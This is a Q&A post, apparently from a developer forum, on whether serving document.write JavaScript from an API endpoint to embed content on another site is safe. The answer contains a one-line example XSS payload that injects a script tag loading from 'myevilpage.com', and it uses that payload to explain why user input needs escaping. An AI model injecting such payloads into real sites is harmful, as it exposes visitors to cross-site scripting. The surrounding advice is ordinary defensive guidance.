javascriptapijsonpjavascript-security

security of sending javascript over the wire from our api; is there a better way?


We have a very simple api and want to return to render some content on the another site. I want to do send something like from our api endpoint(for example http://domain.com/api/endpoint/1 which is just included like <script src='http://domain/api/endpoint/1'></script>):

document.write('here is my value<br />');
document.write('Let me give you some inforamtion about this<br />');

and just escape it. There's no concern about https or the content. Two people have vaguely told me that they think this is unsafe but I don't really see how it is if we handle it correctly on our side (which would be true anyway)? Is this safe? Am I missing anything? JSONP is overkill for something like this - we want the most simple technique possible.

thx in advance


Solution

  • There's no security issue with the fact that you're including a script from one domain onto a web page on another, as long as you control both domains. There are plenty of sites that serve their script tags from CDN or from content subdomains or whole other domains.

    The use of document.write is obsolete and probably will cause you headaches.

    The only security concerns you would have is if your API allows user content to be document.write'ed onto the page, as then you become vulnerable to cross site scripting attacks, where someone sets their username as something like this:

    /><script>document.write('<script src="myevilpage.com"></script>'</script>
    

    and then your code happily injects that onto the page and everyone who then visits it gets a virus and their computer explodes. Generally you will want to escape any user based input before sending it on your API, also sanitize it in your javascript and then insert it into the page as a textNode or similar trick to stop people being able to manipulate your page.